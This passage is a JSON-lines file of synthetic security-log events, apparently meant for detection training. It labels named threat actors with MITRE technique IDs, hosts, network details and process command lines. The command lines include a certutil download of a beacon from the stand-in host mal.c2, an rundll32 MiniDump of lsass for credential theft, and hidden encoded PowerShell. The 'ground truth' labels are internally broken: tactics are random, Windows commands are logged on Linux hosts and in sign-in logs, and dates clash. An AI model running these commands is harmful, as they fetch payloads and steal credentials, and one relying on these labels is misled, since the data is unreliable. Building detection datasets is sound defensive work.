{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Impact","Execution"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20261214T113003000Z_0009297","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.137.180.33","name":"WIN-FIN-SRV-8E8PYWORK9","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9297APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.31.216.112","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-03T11:51:04.000Z","user":{"name":"CORP\\wmc5sku9gjwo","sid":"S-1-5-21-487411804-943182880-1895"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Credential Access","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20251215T193636000Z_0009299","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.95.250.119","name":"EC2-INST-RNLACHMPEB","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9299UNC4841T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.64.222","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3621 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-17T06:48:24.000Z","user":{"name":"svc_tkcpwehl3rpj","sid":"S-1-5-21-378055103-553604133-7507"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260629T125820000Z_0009301","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.177.227.2","name":"DB-ORACLE-T9JGK0QT9Z","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9301Volt TyphoonT1546.003"},"network":{"domain":"github.com","dst_ip":"1.61.99.231","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-06-30T13:05:12.000Z","user":{"name":"azuread\\oofq0esckist","sid":"S-1-5-21-106827704-606967228-8244"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Initial Access","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20261105T185945000Z_0009303","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.26.169.126","name":"AZURE-VM-M9DB8UUINV","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9303APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.33.175.176","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-08T02:41:18.000Z","user":{"name":"azuread\\9553pvd6t5wi","sid":"S-1-5-21-365890489-324918977-9036"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260912T163901000Z_0009305","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.60.248.154","name":"APP-WEB-14OMMAY4D4","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9305UNC4841T1484.001"},"network":{"domain":"github.com","dst_ip":"1.117.185.252","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-10-08T10:47:47.000Z","user":{"name":"i-nrhu7qz7qja9","sid":"S-1-5-21-404188171-663362885-2143"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Defense Evasion","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260703T022019000Z_0009307","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.84.22.2","name":"DB-ORACLE-P3C1WSX8YG","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9307APT41T1098.004"},"network":{"domain":"github.com","dst_ip":"1.47.164.192","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-18T05:17:42.000Z","user":{"name":"arn:aws:iam::z6uqoea6phtk","sid":"S-1-5-21-688128804-608048166-9698"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20250617T134835000Z_0009309","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.241.127.32","name":"DB-ORACLE-M4ZRWRC3NI","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9309FIN7T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.135.234.91","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-07-03T02:45:11.000Z","user":{"name":"svc_v17rrckplhcs","sid":"S-1-5-21-224580589-480317895-9846"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Persistence","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_fin7_20250610T093054000Z_0009311","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.74.126.122","name":"IAM-ROLE-B9KN6TI8KR","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9311FIN7T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.160.164.33","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-13T01:23:55.000Z","user":{"name":"azuread\\ilmwa4llq84o","sid":"S-1-5-21-993156548-765212808-6140"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20260809T211459000Z_0009313","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.130.101.74","name":"IAM-ROLE-AVE7PLHWPP","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9313UNC4841T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.5.140.43","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2913 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-08-08T12:36:53.000Z","user":{"name":"i-6jzy5un8fhze","sid":"S-1-5-21-974661169-145606635-2693"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_fin7_20260710T155414000Z_0009315","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.90.211.96","name":"EC2-INST-QFUD2J6TJL","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9315FIN7T1570"},"network":{"domain":"github.com","dst_ip":"1.113.161.190","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 826 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-01-06T02:04:04.000Z","user":{"name":"CORP\\hy0dh4d571fs","sid":"S-1-5-21-737751199-612476283-1354"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance","Impact"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250124T212617000Z_0009317","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.68.52.130","name":"AZURE-VM-D684RZOAPN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9317Mustang PandaT1098.004"},"network":{"domain":"github.com","dst_ip":"1.87.181.102","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3448 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-19T20:58:33.000Z","user":{"name":"i-9dkal1pej9to","sid":"S-1-5-21-458642892-126687610-8435"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20251017T153840000Z_0009319","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.188.158.5","name":"DB-ORACLE-LAORNW3IDB","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9319APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.193.41.59","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1129 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-20T21:53:20.000Z","user":{"name":"azuread\\ou2n45coy268","sid":"S-1-5-21-315166298-587203254-8016"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Lateral Movement","Impact"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250710T161959000Z_0009321","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.1.65.52","name":"APP-WEB-VJ6XVCKR1P","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9321Lapsus$T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.155.57.196","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-14T13:58:26.000Z","user":{"name":"azuread\\z3176drovam8","sid":"S-1-5-21-316749009-795587434-8141"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Execution","Collection"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20261025T184149000Z_0009323","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.182.145.128","name":"APP-WEB-DMPXK2K59S","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9323UNC4841T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.193.189.105","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-07T13:14:39.000Z","user":{"name":"svc_ni9ysxx986gj","sid":"S-1-5-21-925207272-732488208-3158"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Initial Access"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20260901T084503000Z_0009325","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.133.10.133","name":"DB-ORACLE-OC87IW2UU5","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9325Mustang PandaT1071.001"},"network":{"domain":"github.com","dst_ip":"1.106.29.207","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3247 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-13T16:30:46.000Z","user":{"name":"arn:aws:iam::mnusos5j4x4y","sid":"S-1-5-21-562302749-780304759-5244"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20261019T112802000Z_0009327","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.136.240.20","name":"WIN-FIN-SRV-4KDCCFNIW8","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9327Mustang PandaT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.45.255.169","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-25T09:49:52.000Z","user":{"name":"i-14uvdw9it17q","sid":"S-1-5-21-587736211-816790834-1830"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Discovery","Reconnaissance","Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250306T133536000Z_0009329","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.26.54.216","name":"IAM-ROLE-EW9ZN1UEBJ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9329Mustang PandaT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.28.28.236","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-12-13T02:33:46.000Z","user":{"name":"CORP\\1nn927fner24","sid":"S-1-5-21-932741829-149103764-9892"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Defense Evasion","Collection"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20261008T232222000Z_0009331","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.196.217.212","name":"DB-ORACLE-X77V5V6CG8","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9331Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.148.200.221","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-08-05T13:55:30.000Z","user":{"name":"CORP\\qstkp6xtnw5u","sid":"S-1-5-21-953595118-181813046-4036"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Impact","Reconnaissance","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250219T032011000Z_0009333","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.85.181.36","name":"APP-WEB-G8BN5YKLEU","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9333APT29T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.10.78.25","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3019 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-11-15T02:16:28.000Z","user":{"name":"arn:aws:iam::ur81onwhp3fi","sid":"S-1-5-21-790662044-961445513-6381"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20260904T214725000Z_0009335","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.91.82.21","name":"EC2-INST-QE3UQZ7HXJ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9335Mustang PandaT1059.001"},"network":{"domain":"github.com","dst_ip":"1.51.24.72","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1547 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-06-26T02:06:41.000Z","user":{"name":"CORP\\7w8c6b3as3b0","sid":"S-1-5-21-259970660-693763510-7434"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20251009T073053000Z_0009337","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.139.103.179","name":"WIN-FIN-SRV-GMGYP5PFES","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9337APT41T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.169.77.125","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-17T05:35:57.000Z","user":{"name":"i-wpenhpvucoye","sid":"S-1-5-21-632336390-677293212-3236"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Initial Access","Persistence","Collection"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20260216T063756000Z_0009339","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.133.9.46","name":"IAM-ROLE-S9LEBRR9RP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9339Mustang PandaT1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.107.111.140","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-21T16:20:40.000Z","user":{"name":"i-cwpe0y3m00iq","sid":"S-1-5-21-383689862-921489735-8002"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20260126T014803000Z_0009341","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.78.83.196","name":"WIN-FIN-SRV-FXFGAFP09T","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9341Mustang PandaT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.120.142.173","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-08T20:03:50.000Z","user":{"name":"svc_bq53jyrqh03u","sid":"S-1-5-21-906051535-871890014-6906"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Discovery"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20261016T061519000Z_0009343","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.184.182.210","name":"WIN-FIN-SRV-LTWMYL95M9","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9343APT41T1059.001"},"network":{"domain":"github.com","dst_ip":"1.169.94.219","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging 